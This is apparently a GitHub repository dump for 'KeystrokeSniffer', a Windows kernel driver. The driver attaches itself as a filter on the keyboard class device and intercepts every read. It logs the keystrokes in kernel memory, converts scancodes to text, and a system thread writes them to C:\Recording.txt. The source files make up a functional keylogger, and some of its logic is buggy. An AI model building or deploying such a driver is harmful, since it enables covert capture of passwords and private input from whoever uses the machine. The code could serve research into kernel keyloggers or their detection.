├── .gitignore ├── KeystrokeSniffer ├── KeystrokeSniffer.sln ├── KeystrokeSniffer │ ├── KeystrokeSniffer.inf │ ├── KeystrokeSniffer.vcxproj │ ├── KeystrokeSniffer.vcxproj.filters │ ├── attach.cpp │ ├── attach.h │ ├── autolock.h │ ├── delete.cpp │ ├── delete.h │ ├── filter.cpp │ ├── filter.h │ ├── kbd.cpp │ ├── kbd.h │ ├── log.cpp │ ├── log.h │ ├── main.cpp │ ├── main.h │ ├── new.cpp │ ├── new.h │ ├── objreference.cpp │ ├── objreference.h │ ├── spinlock.cpp │ ├── spinlock.h │ ├── writer.cpp │ ├── writer.h │ └── x64 │ │ └── Release │ │ ├── KeystrokeSniffer.inf │ │ ├── KeystrokeSniffer.log │ │ ├── KeystrokeSniffer.sys.recipe │ │ ├── attach.obj │ │ ├── delete.obj │ │ ├── filter.obj │ │ ├── kbd.obj │ │ ├── log.obj │ │ ├── main.obj │ │ ├── mutex.obj │ │ ├── new.obj │ │ ├── objreference.obj │ │ ├── spinlock.obj │ │ ├── vc143.pdb │ │ └── writer.obj └── x64 │ └── Release │ ├── KeystrokeSniffer.cer │ ├── KeystrokeSniffer.inf │ ├── KeystrokeSniffer.pdb │ ├── KeystrokeSniffer.sys │ └── KeystrokeSniffer │ ├── KeystrokeSniffer.inf │ ├── KeystrokeSniffer.sys │ └── keystrokesniffer.cat ├── LICENSE └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | 4 | # Compiled Object files 5 | *.slo 6 | *.lo 7 | *.o 8 | *.obj 9 | 10 | # Precompiled Headers 11 | *.gch 12 | *.pch 13 | 14 | # Compiled Dynamic libraries 15 | *.so 16 | *.dylib 17 | *.dll 18 | 19 | # Fortran module files 20 | *.mod 21 | *.smod 22 | 23 | # Compiled Static libraries 24 | *.lai 25 | *.la 26 | *.a 27 | *.lib 28 | 29 | # Executables 30 | *.exe 31 | *.out 32 | *.app 33 | -------------------------------------------------------------------------------- /KeystrokeSniffer/KeystrokeSniffer.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.2.32505.173 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "KeystrokeSniffer", "KeystrokeSniffer\KeystrokeSniffer.vcxproj", "{8BA10B96-5FEA-4B41-B3B0-45E4C299A0FA}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|ARM64 = Debug|ARM64 11 | Debug|x64 = Debug|x64 12 | Release|ARM64 = Release|ARM64 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {8BA10B96-5FEA-4B41-B3B0-45E4C299A0FA}.Debug|ARM64.ActiveCfg = Debug|ARM64 17 | {8BA10B96-5FEA-4B41-B3B0-45E4C299A0FA}.Debug|ARM64.Build.0 = Debug|ARM64 18 | {8BA10B96-5FEA-4B41-B3B0-45E4C299A0FA}.Debug|ARM64.Deploy.0 = Debug|ARM64 19 | {8BA10B96-5FEA-4B41-B3B0-45E4C299A0FA}.Debug|x64.ActiveCfg = Debug|x64 20 | {8BA10B96-5FEA-4B41-B3B0-45E4C299A0FA}.Debug|x64.Build.0 = Debug|x64 21 | {8BA10B96-5FEA-4B41-B3B0-45E4C299A0FA}.Debug|x64.Deploy.0 = Debug|x64 22 | {8BA10B96-5FEA-4B41-B3B0-45E4C299A0FA}.Release|ARM64.ActiveCfg = Release|ARM64 23 | {8BA10B96-5FEA-4B41-B3B0-45E4C299A0FA}.Release|ARM64.Build.0 = Release|ARM64 24 | {8BA10B96-5FEA-4B41-B3B0-45E4C299A0FA}.Release|ARM64.Deploy.0 = Release|ARM64 25 | {8BA10B96-5FEA-4B41-B3B0-45E4C299A0FA}.Release|x64.ActiveCfg = Release|x64 26 | {8BA10B96-5FEA-4B41-B3B0-45E4C299A0FA}.Release|x64.Build.0 = Release|x64 27 | {8BA10B96-5FEA-4B41-B3B0-45E4C299A0FA}.Release|x64.Deploy.0 = Release|x64 28 | EndGlobalSection 29 | GlobalSection(SolutionProperties) = preSolution 30 | HideSolutionNode = FALSE 31 | EndGlobalSection 32 | GlobalSection(ExtensibilityGlobals) = postSolution 33 | SolutionGuid = {23B20540-903F-4303-89E3-C8A2A4D9E67A} 34 | EndGlobalSection 35 | EndGlobal 36 | -------------------------------------------------------------------------------- /KeystrokeSniffer/KeystrokeSniffer/KeystrokeSniffer.inf: -------------------------------------------------------------------------------- 1 | ; 2 | ; KeystrokeSniffer.inf 3 | ; 4 | 5 | [Version] 6 | Signature="$WINDOWS NT$" 7 | Class=System 8 | ClassGuid={4d36e97d-e325-11ce-bfc1-08002be10318} 9 | Provider=%ManufacturerName% 10 | DriverVer= 11 | CatalogFile=KeystrokeSniffer.cat 12 | PnpLockdown=1 13 | 14 | ;This template is supported for OS version 17763 (Windows 10 version 1809) and after. 15 | ;For Windows OS prior to Windows 10 1809 set DefaultDestDir = 12 16 | [DestinationDirs] 17 | DefaultDestDir = 13 18 | 19 | 20 | [SourceDisksNames] 21 | 1 = %DiskName%,,,"" 22 | 23 | [SourceDisksFiles] 24 | 25 | 26 | [Manufacturer] 27 | 28 | [Standard.NT$ARCH$] 29 | 30 | 31 | [Strings] 32 | ManufacturerName="" ;TODO: Replace with your manufacturer name 33 | DiskName="KeystrokeSniffer Source Disk" 34 | -------------------------------------------------------------------------------- /KeystrokeSniffer/KeystrokeSniffer/KeystrokeSniffer.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | x64 7 | 8 | 9 | Release 10 | x64 11 | 12 | 13 | Debug 14 | ARM64 15 | 16 | 17 | Release 18 | ARM64 19 | 20 | 21 | 22 | {8BA10B96-5FEA-4B41-B3B0-45E4C299A0FA} 23 | {dd38f7fc-d7bd-488b-9242-7d8754cde80d} 24 | v4.5 25 | 12.0 26 | Debug 27 | x64 28 | KeystrokeSniffer 29 | 30 | 31 | 32 | Windows10 33 | true 34 | WindowsKernelModeDriver10.0 35 | Driver 36 | WDM 37 | 38 | 39 | Windows10 40 | false 41 | WindowsKernelModeDriver10.0 42 | Driver 43 | WDM 44 | 45 | 46 | Windows10 47 | true 48 | WindowsKernelModeDriver10.0 49 | Driver 50 | WDM 51 | 52 | 53 | Windows10 54 | false 55 | WindowsKernelModeDriver10.0 56 | Driver 57 | WDM 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | DbgengKernelDebugger 69 | 70 | 71 | DbgengKernelDebugger 72 | true 73 | 74 | 75 | DbgengKernelDebugger 76 | 77 | 78 | DbgengKernelDebugger 79 | 80 | 81 | 82 | sha256 83 | 84 | 85 | 86 | 87 | sha256 88 | 89 | 90 | $(ProjectDir);%(AdditionalIncludeDirectories) 91 | false 92 | 93 | 94 | /INTEGRITYCHECK %(AdditionalOptions) 95 | Wdmsec.lib;%(AdditionalDependencies) 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | -------------------------------------------------------------------------------- /KeystrokeSniffer/KeystrokeSniffer/KeystrokeSniffer.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {8E41214B-6785-4CFE-B992-037D68949A14} 18 | inf;inv;inx;mof;mc; 19 | 20 | 21 | 22 | 23 | Driver Files 24 | 25 | 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | Source Files 35 | 36 | 37 | Source Files 38 | 39 | 40 | Source Files 41 | 42 | 43 | Source Files 44 | 45 | 46 | Source Files 47 | 48 | 49 | Source Files 50 | 51 | 52 | Source Files 53 | 54 | 55 | Source Files 56 | 57 | 58 | 59 | 60 | Header Files 61 | 62 | 63 | Header Files 64 | 65 | 66 | Header Files 67 | 68 | 69 | Header Files 70 | 71 | 72 | Header Files 73 | 74 | 75 | Header Files 76 | 77 | 78 | Header Files 79 | 80 | 81 | Header Files 82 | 83 | 84 | Header Files 85 | 86 | 87 | Header Files 88 | 89 | 90 | Header Files 91 | 92 | 93 | -------------------------------------------------------------------------------- /KeystrokeSniffer/KeystrokeSniffer/attach.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | PDEVICE_OBJECT FilterDevice = nullptr; 4 | 5 | 6 | 7 | 8 | void InitAttachedDevice(PDEVICE_OBJECT Device) 9 | { 10 | for (int i = 0; i < ARRAYSIZE(Device->DriverObject->MajorFunction); i++) 11 | Device->DriverObject->MajorFunction[i] = FilterGenericDispatch; 12 | Device->DriverObject->MajorFunction[IRP_MJ_READ] = FilterReadDispatch; 13 | 14 | } 15 | 16 | 17 | 18 | NTSTATUS AttachDevice(PDRIVER_OBJECT FilterDriverObject) 19 | { 20 | 21 | PDEVICE_OBJECT TargetDeviceObject; 22 | PDEVICE_OBJECT DeviceObject; 23 | PFILE_OBJECT FileObject; 24 | PDEVICE_OBJECT TopMostDevice; 25 | UNICODE_STRING TargetName; 26 | 27 | RtlInitUnicodeString(&TargetName, KEYBOARD_DEVICE_NAME); 28 | auto status = IoGetDeviceObjectPointer(&TargetName, FILE_READ_DATA, &FileObject, &TargetDeviceObject); 29 | if (!NT_SUCCESS(status)) 30 | { 31 | DbgPrint("[*] failed getting target device object\n"); 32 | return STATUS_ABANDONED; 33 | } 34 | FileRef File(FileObject); 35 | TopMostDevice = IoGetAttachedDeviceReference(TargetDeviceObject); 36 | if (!TopMostDevice) 37 | { 38 | DbgPrint("[*] failed get attached device reference\n"); 39 | return STATUS_ABANDONED; 40 | } 41 | 42 | status = IoCreateDevice(FilterDriverObject, sizeof(DeviceExtension), nullptr, 43 | TopMostDevice->DeviceType, 0, FALSE, &DeviceObject); 44 | if (!NT_SUCCESS(status)) 45 | { 46 | DbgPrint("[*] failed to create filter device\n"); 47 | return status; 48 | } 49 | auto ext = (DeviceExtension*)DeviceObject->DeviceExtension; 50 | 51 | // make sure our filter attaches cleanly to the stack 52 | DeviceObject->Flags |= (TopMostDevice->Flags & (DO_BUFFERED_IO | DO_DIRECT_IO)); 53 | 54 | DeviceObject->Flags &= ~DO_DEVICE_INITIALIZING; 55 | DeviceObject->Flags |= DO_POWER_PAGABLE; 56 | 57 | DeviceObject->DeviceType = TopMostDevice->DeviceType; 58 | 59 | ExInitializeRundownProtection(&PendingIrps); 60 | 61 | 62 | InitAttachedDevice(DeviceObject); 63 | 64 | status = IoAttachDeviceToDeviceStackSafe(DeviceObject, TargetDeviceObject, &ext->LowerDeviceObject); 65 | if (!NT_SUCCESS(status)) { 66 | IoDeleteDevice(DeviceObject); 67 | DbgPrint("[*] failed to attach to keyboard stack\n"); 68 | return status; 69 | } 70 | 71 | FilterDevice = DeviceObject; 72 | 73 | 74 | return status; 75 | } 76 | 77 | 78 | 79 | 80 | void DetachDevice(PDEVICE_OBJECT FilterDevice) 81 | { 82 | auto ext = (DeviceExtension*)FilterDevice->DeviceExtension; 83 | IoDetachDevice(ext->LowerDeviceObject); 84 | IoDeleteDevice(FilterDevice); 85 | 86 | } 87 | 88 | 89 | -------------------------------------------------------------------------------- /KeystrokeSniffer/KeystrokeSniffer/attach.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | extern PDEVICE_OBJECT FilterDevice; 5 | 6 | NTSTATUS AttachDevice(PDRIVER_OBJECT FilterDriverObject); 7 | void DetachDevice(PDEVICE_OBJECT FilterDevice); 8 | 9 | 10 | -------------------------------------------------------------------------------- /KeystrokeSniffer/KeystrokeSniffer/autolock.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | template 4 | struct AutoLock { 5 | AutoLock(TLock& lock) : _lock(lock) { 6 | _lock.Lock(); 7 | } 8 | 9 | ~AutoLock() { 10 | _lock.Unlock(); 11 | } 12 | 13 | private: 14 | TLock& _lock; 15 | }; -------------------------------------------------------------------------------- /KeystrokeSniffer/KeystrokeSniffer/delete.cpp: -------------------------------------------------------------------------------- 1 | #include "delete.h" 2 | 3 | void __cdecl operator delete(void* address, unsigned __int64) 4 | { 5 | ::ExFreePool(address); 6 | } -------------------------------------------------------------------------------- /KeystrokeSniffer/KeystrokeSniffer/delete.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | void __cdecl operator delete(void* address, unsigned __int64); -------------------------------------------------------------------------------- /KeystrokeSniffer/KeystrokeSniffer/filter.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | EX_RUNDOWN_REF PendingIrps; 4 | 5 | 6 | // invoked only on success 7 | NTSTATUS FilterReadCompletion(PDEVICE_OBJECT DeviceObject, PIRP Irp, PVOID Context) 8 | { 9 | 10 | auto status = Irp->IoStatus.Status; 11 | if (Irp->PendingReturned) 12 | IoMarkIrpPending(Irp); 13 | if (Irp->IoStatus.Status == STATUS_SUCCESS) 14 | { 15 | PKEYBOARD_INPUT_DATA InputData = (PKEYBOARD_INPUT_DATA)Irp->AssociatedIrp.SystemBuffer; 16 | int NumberOfKeysRead = Irp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA); 17 | for (int i = 0; i < NumberOfKeysRead; i++) 18 | { 19 | // record keystroke only if it's a keypress or special key press / release 20 | if(!FlagOn(InputData[i].Flags, KEY_BREAK) || IsSpecialMakecode(InputData[i].MakeCode)) 21 | Recording.Append(InputData[i].MakeCode, InputData[i].Flags); 22 | 23 | } 24 | } 25 | 26 | ExReleaseRundownProtection(&PendingIrps); 27 | return status; 28 | 29 | } 30 | 31 | 32 | NTSTATUS FilterGenericDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp) { 33 | 34 | auto ext = (DeviceExtension*)DeviceObject->DeviceExtension; 35 | IoCopyCurrentIrpStackLocationToNext(Irp); 36 | return IoCallDriver(ext->LowerDeviceObject, Irp); 37 | 38 | } 39 | 40 | 41 | NTSTATUS FilterReadDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp) 42 | { 43 | 44 | auto ext = (DeviceExtension*)DeviceObject->DeviceExtension; 45 | IoCopyCurrentIrpStackLocationToNext(Irp); 46 | ExAcquireRundownProtection(&PendingIrps); 47 | IoSetCompletionRoutine(Irp, FilterReadCompletion, DeviceObject, TRUE, FALSE, FALSE); 48 | return IoCallDriver(ext->LowerDeviceObject, Irp); 49 | } 50 | 51 | 52 | -------------------------------------------------------------------------------- /KeystrokeSniffer/KeystrokeSniffer/filter.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | 5 | extern EX_RUNDOWN_REF PendingIrps; 6 | 7 | typedef struct _WORKER_CONTEXT 8 | { 9 | PVOID64 Data; 10 | int Count; 11 | }WORKER_CONTEXT, * PWORKER_CONTEXT; 12 | 13 | 14 | 15 | 16 | NTSTATUS FilterGenericDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp); 17 | NTSTATUS FilterReadDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp); -------------------------------------------------------------------------------- /KeystrokeSniffer/KeystrokeSniffer/kbd.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | UCHAR gKeyString[340][20] = 4 | { 5 | "?", "[", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "-", "=", "[BackSpace]", "[Tab]", //Normal 6 | "q", "w", "e", "r", "t", "y", "u", "i", "o", "p", "[", "]", "[Enter]", "[Left Ctrl]", "a", "s", 7 | "d", "f", "g", "h", "j", "k", "l", ";", "\'", "~", "[Left Shift]", "\\", "z", "x", "c", "v", 8 | "b", "n", "m", ",", ".", "/", "[Right Shift]", "[Keypad *]", "[Left Alt]", " ", "[Caps Lock]", "F1", "F2", "F3", "F4", "F5", 9 | "F6", "F7", "F8", "F9", "F10", "[Num Lock]", "[Scroll Lock]", "[Keypad 7]", "[Keypad 8]", "[Keypad 9]", "[Keypad -]", "[Keypad 4]", "[Keypad 5]", "[Keypad 6]", "[Keypad +]", "[Keypad 1]", 10 | "[Keypad 2]", "[Keypad 3]", "[Keypad 0]", "[Keypad .]", 11 | 12 | "?", "[ESC]", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "-", "=", "[BackSpace]", "[Tab]", //CapsLock 13 | "Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P", "[", "]", "[Enter]", "[Left Ctrl]", "A", "S", 14 | "D", "F", "G", "H", "J", "K", "L", ";", "\'", "~", "[Left Shift]", "\\", "Z", "X", "C", "V", 15 | "B", "N", "M", ",", ".", "/", "[Right Shift]", "[Keypad *]", "[Left Alt]", " ", "[Caps Lock]", "F1", "F2", "F3", "F4", "F5", 16 | "F6", "F7", "F8", "F9", "F10", "[Num Lock]", "[Scroll Lock]", "[Keypad 7]", "[Keypad 8]", "[Keypad 9]", "[Keypad -]", "[Keypad 4]", "[Keypad 5]", "[Keypad 6]", "[Keypad +]", "[Keypad 1]", 17 | "[Keypad 2]", "[Keypad 3]", "[Keypad 0]", "[Keypad .]", 18 | 19 | "?", "[ESC]", "!", "@", "#", "$", "%", "^", "&", "*", "(", ")", "_", "+", "[BackSpace]", "[Tab]", //Shift 20 | "Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P", "{", "}", "[Enter]", "[Left Ctrl]", "A", "S", 21 | "D", "F", "G", "H", "J", "K", "L", ":", "\"", "~", "[Left Shift]", "|", "Z", "X", "C", "V", 22 | "B", "N", "M", "<", ">", "?", "[Right Shift]", "[Keypad *]", "[Left Alt]", "[Space]", "[Caps Lock]", "F1", "F2", "F3", "F4", "F5", 23 | "F6", "F7", "F8", "F9", "F10", "[Num Lock]", "[Scroll Lock]", "[Keypad 7]", "[Keypad 8]", "[Keypad 9]", "[Keypad -]", "[Keypad 4]", "[Keypad 5]", "[Keypad 6]", "[Keypad +]", "[Keypad 1]", 24 | "[Keypad 2]", "[Keypad 3]", "[Keypad 0]", "[Keypad .]", 25 | 26 | "?", "[ESC]", "!", "@", "#", "$", "%", "^", "&", "*", "(", ")", "_", "+", "[BackSpace]", "[Tab]", //CapsLock + Shift 27 | "q", "w", "e", "r", "t", "y", "u", "i", "o", "p", "{", "}", "[Enter]", "[Left Ctrl]", "a", "s", 28 | "d", "f", "g", "h", "j", "k", "l", ":", "\"", "~", "[Left Shift]", "|", "z", "x", "c", "v", 29 | "b", "n", "m", "<", ">", "?", "[Right Shift]", "[Keypad *]", "[Left Alt]", " ", "[Caps Lock]", "F1", "F2", "F3", "F4", "F5", 30 | "F6", "F7", "F8", "F9", "F10", "[Num Lock]", "[Scroll Lock]", "[Keypad 7]", "[Keypad 8]", "[Keypad 9]", "[Keypad -]", "[Keypad 4]", "[Keypad 5]", "[Keypad 6]", "[Keypad +]", "[Keypad 1]", 31 | "[Keypad 2]", "[Keypad 3]", "[Keypad 0]", "[Keypad .]" 32 | }; 33 | 34 | UCHAR gE0KeyString[50][20] = 35 | { 36 | "[Right Ctrl]", "[Keypad /]", "[Prt Scr SysRq]", "[Right Alt]", "[Home]", "[Up]", "[PageUp]", "[Left]", "[Right]", 37 | "[End]", "[Down]", "[PageDown]", "[Insert]", "[Delete]", "[Left Windows]", "[Right Windows]", "[Menu]", "?" 38 | }; 39 | 40 | ULONG SpecialKeysState = 0; 41 | 42 | 43 | MAPPED_KEY MapScancode(PKEY_DATA KeyData) 44 | { 45 | MAPPED_KEY MappedKey; 46 | MappedKey.SizeOfKey = 0; 47 | NTSTATUS Status = 0; 48 | UCHAR MakeCode = 0; 49 | ULONG Index = 0; 50 | PUCHAR Buffer = NULL; 51 | SIZE_T LengthReturned = 0; 52 | 53 | MakeCode = (UCHAR)KeyData->MakeCode; 54 | 55 | if (FlagOn(KeyData->Flags, KEY_E0)) 56 | { 57 | switch (MakeCode) { 58 | case 0x1D: Buffer = gE0KeyString[0]; break; 59 | case 0x35: Buffer = gE0KeyString[1]; break; 60 | case 0x37: Buffer = gE0KeyString[2]; break; 61 | case 0x38: Buffer = gE0KeyString[3]; break; 62 | case 0x47: Buffer = gE0KeyString[4]; break; 63 | case 0x48: Buffer = gE0KeyString[5]; break; 64 | case 0x49: Buffer = gE0KeyString[6]; break; 65 | case 0x4B: Buffer = gE0KeyString[7]; break; 66 | case 0x4D: Buffer = gE0KeyString[8]; break; 67 | case 0x4F: Buffer = gE0KeyString[9]; break; 68 | case 0x50: Buffer = gE0KeyString[10]; break; 69 | case 0x51: Buffer = gE0KeyString[11]; break; 70 | case 0x52: Buffer = gE0KeyString[12]; break; 71 | case 0x53: Buffer = gE0KeyString[13]; break; 72 | case 0x5B: Buffer = gE0KeyString[14]; break; 73 | case 0x5C: Buffer = gE0KeyString[15]; break; 74 | case 0x5D: Buffer = gE0KeyString[16]; break; 75 | default: Buffer = gE0KeyString[17]; break; 76 | } 77 | 78 | if (MakeCode > 0x5D) 79 | { 80 | return MappedKey; // size of key = 0 like returning a nullptr 81 | } 82 | 83 | if (FlagOn(KeyData->Flags, KEY_BREAK)) 84 | { 85 | MappedKey.MappedKey = Buffer; 86 | MappedKey.SizeOfKey = strlen((PCHAR)Buffer); 87 | return MappedKey; 88 | } 89 | else 90 | { 91 | return MappedKey; 92 | } 93 | } 94 | else 95 | { 96 | if (MakeCode > 0x54 * 4) 97 | { 98 | return MappedKey;// size of key = 0 like returning a nullptr 99 | } 100 | 101 | Index = MakeCode; 102 | 103 | if (SpecialKeysState & KEY_CAPS) 104 | { 105 | Index += 0x54; 106 | } 107 | 108 | if (SpecialKeysState & KEY_SHIFT) 109 | { 110 | Index += 0x54 * 2; 111 | } 112 | 113 | if (FlagOn(KeyData->Flags, KEY_BREAK)) 114 | { 115 | MappedKey.MappedKey = gKeyString[Index]; 116 | MappedKey.SizeOfKey = strlen((PCHAR)gKeyString[Index]); 117 | return MappedKey; 118 | } 119 | else 120 | { 121 | MappedKey.MappedKey = gKeyString[Index]; 122 | MappedKey.SizeOfKey = strlen((PCHAR)gKeyString[Index]); 123 | return MappedKey; 124 | } 125 | 126 | // this is needed to track special keys state 127 | if (FlagOn(KeyData->Flags, KEY_BREAK)) 128 | { 129 | switch (MakeCode) 130 | { 131 | case 0x2A: 132 | case 0x36: 133 | SpecialKeysState &= ~KEY_SHIFT; 134 | break; 135 | } 136 | } 137 | else 138 | { 139 | switch (MakeCode) 140 | { 141 | case 0x3A: 142 | SpecialKeysState ^= KEY_CAPS; 143 | break; 144 | 145 | case 0x2A: 146 | case 0x36: 147 | SpecialKeysState |= KEY_SHIFT; 148 | break; 149 | 150 | case 0x45: 151 | SpecialKeysState ^= KEY_NUM; 152 | } 153 | } 154 | } 155 | 156 | } 157 | 158 | bool IsSpecialMakecode(USHORT Makecode) 159 | { 160 | if (Makecode == 0x3A || Makecode == 0x2A || Makecode == 0x45 || Makecode == 0x36) 161 | return true; 162 | return false; 163 | } 164 | 165 | -------------------------------------------------------------------------------- /KeystrokeSniffer/KeystrokeSniffer/kbd.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | #define KEY_SHIFT 1 5 | #define KEY_CAPS 2 6 | #define KEY_NUM 4 7 | 8 | 9 | MAPPED_KEY MapScancode(PKEY_DATA KeyData); 10 | bool IsSpecialMakecode(USHORT Makecode); -------------------------------------------------------------------------------- /KeystrokeSniffer/KeystrokeSniffer/log.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | 4 | void Log::Init() 5 | { 6 | Lock.Init(); 7 | KeyCount = 0; 8 | Keys = nullptr; 9 | } 10 | 11 | void Log::Clean(bool TakeLock) 12 | { 13 | if(TakeLock) 14 | AutoLock lock(Lock); 15 | if (!Keys) 16 | return; 17 | PKEY_DATA current = Keys; 18 | PKEY_DATA temp; 19 | while (current != nullptr) 20 | { 21 | temp = current->Next; 22 | delete current; 23 | current = temp; 24 | } 25 | KeyCount = 0; 26 | Keys = nullptr; 27 | } 28 | 29 | void Log::Append(USHORT MakeCode, USHORT Flags) 30 | { 31 | PKEY_DATA NewKey = new(NonPagedPool, TAG) KEY_DATA; 32 | if (!NewKey) 33 | return; 34 | NewKey->Flags = Flags; 35 | NewKey->MakeCode = MakeCode; 36 | NewKey->Next = nullptr; 37 | AutoLock lock(Lock); 38 | KeyCount++; 39 | if (!Keys) 40 | { 41 | Keys = NewKey; 42 | return; 43 | } 44 | PKEY_DATA Current = Keys; 45 | while (Current->Next != nullptr) 46 | { 47 | Current = Current->Next; 48 | } 49 | Current->Next = NewKey; 50 | if (KeyCount == 100) 51 | WriteSignal = true; 52 | 53 | } 54 | 55 | void Log::Write() 56 | { 57 | MAPPED_KEY MappedKey ; 58 | NTSTATUS status; 59 | int SizeOfKeysRead = 0; 60 | Lock.Lock(); 61 | 62 | PKEY_DATA Current = Keys; 63 | if (!Keys) 64 | { 65 | DbgPrint("[*] no keys to write\n"); 66 | Lock.Unlock(); 67 | return; 68 | } 69 | // calculate size of keys read 70 | while (Current != nullptr) 71 | { 72 | MappedKey = MapScancode(Current); 73 | SizeOfKeysRead += MappedKey.SizeOfKey; 74 | Current = Current->Next; 75 | } 76 | // allocate buffer for keys 77 | PUCHAR Buffer = (PUCHAR)ExAllocatePoolWithTag(NonPagedPool, SizeOfKeysRead * sizeof(UCHAR), TAG); 78 | if (!Buffer) 79 | { 80 | Lock.Unlock(); 81 | return; 82 | } 83 | 84 | // fill buffer with keys 85 | PUCHAR InitBuffer = Buffer; 86 | Current = Keys; 87 | while (Current != nullptr) 88 | { 89 | MappedKey = MapScancode(Current); 90 | RtlCopyMemory(InitBuffer, MappedKey.MappedKey, MappedKey.SizeOfKey); 91 | InitBuffer = (PUCHAR)((ULONG_PTR)InitBuffer + (MappedKey.SizeOfKey * sizeof(UCHAR))); 92 | Current = Current->Next; 93 | } 94 | // clean the recording whilst still holding the lock 95 | Recording.Clean(false); 96 | Lock.Unlock(); 97 | 98 | WriteKeys(Buffer, sizeof(UCHAR) * SizeOfKeysRead); 99 | 100 | ExFreePoolWithTag(Buffer, TAG); 101 | 102 | 103 | } -------------------------------------------------------------------------------- /KeystrokeSniffer/KeystrokeSniffer/log.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | #define LOG_FILE L"\\??\\C:\\Recording.txt" 5 | 6 | typedef struct _KEY_DATA 7 | { 8 | USHORT MakeCode; 9 | USHORT Flags; 10 | _KEY_DATA* Next; 11 | }KEY_DATA, * PKEY_DATA; 12 | 13 | typedef struct _MAPPED_KEY 14 | { 15 | PUCHAR MappedKey; 16 | int SizeOfKey; 17 | }MAPPED_KEY, * PMAPPED_KEY; 18 | 19 | class Log 20 | { 21 | private: 22 | int KeyCount; 23 | PKEY_DATA Keys; 24 | SpinLock Lock; 25 | public: 26 | void Init(); 27 | void Log::Append(USHORT MakeCode, USHORT Flags); 28 | void Clean(bool TakeLock); 29 | void Write(); 30 | 31 | }; 32 | 33 | 34 | extern Log Recording; 35 | extern bool WriteSignal; -------------------------------------------------------------------------------- /KeystrokeSniffer/KeystrokeSniffer/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | Log Recording; 4 | bool WriteSignal = false; 5 | bool Unload = false; 6 | 7 | void DriverUnload( 8 | _In_ PDRIVER_OBJECT DriverObject 9 | ) 10 | { 11 | Unload = true; 12 | if (FilterDevice) 13 | DetachDevice(FilterDevice); 14 | 15 | Recording.Write(); 16 | ExWaitForRundownProtectionRelease(&PendingIrps); 17 | ExWaitForRundownProtectionRelease(&WriterRef); 18 | DbgPrint("[*] keystroke sniffer unloaded\n"); 19 | } 20 | 21 | 22 | EXTERN_C NTSTATUS DriverEntry( 23 | _In_ PDRIVER_OBJECT DriverObject, 24 | _In_ PUNICODE_STRING RegistryPath 25 | ) 26 | { 27 | UNREFERENCED_PARAMETER(RegistryPath); 28 | NTSTATUS status = STATUS_SUCCESS; 29 | HANDLE WriterHandle; 30 | 31 | DriverObject->DriverUnload = DriverUnload; 32 | ExInitializeRundownProtection(&WriterRef); 33 | Recording.Init(); 34 | status = PsCreateSystemThread(&WriterHandle, THREAD_ALL_ACCESS, NULL, NULL, NULL, Writer, NULL); 35 | if (!NT_SUCCESS(status)) 36 | { 37 | DbgPrint("[*] failed to create writer thread\n"); 38 | return status; 39 | } 40 | status = AttachDevice(DriverObject); 41 | if (!NT_SUCCESS(status)) 42 | { 43 | DbgPrint("[*] failed to attach to keyboard\n"); 44 | return status; 45 | } 46 | 47 | 48 | DbgPrint("[*] keystroke sniffer loaded\n"); 49 | 50 | 51 | 52 | return status; 53 | 54 | } -------------------------------------------------------------------------------- /KeystrokeSniffer/KeystrokeSniffer/main.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | 18 | #define TAG 'ksnf' 19 | #define KEYBOARD_DEVICE_NAME L"\\Device\\KeyboardClass0" 20 | 21 | struct DeviceExtension { 22 | PDEVICE_OBJECT LowerDeviceObject; 23 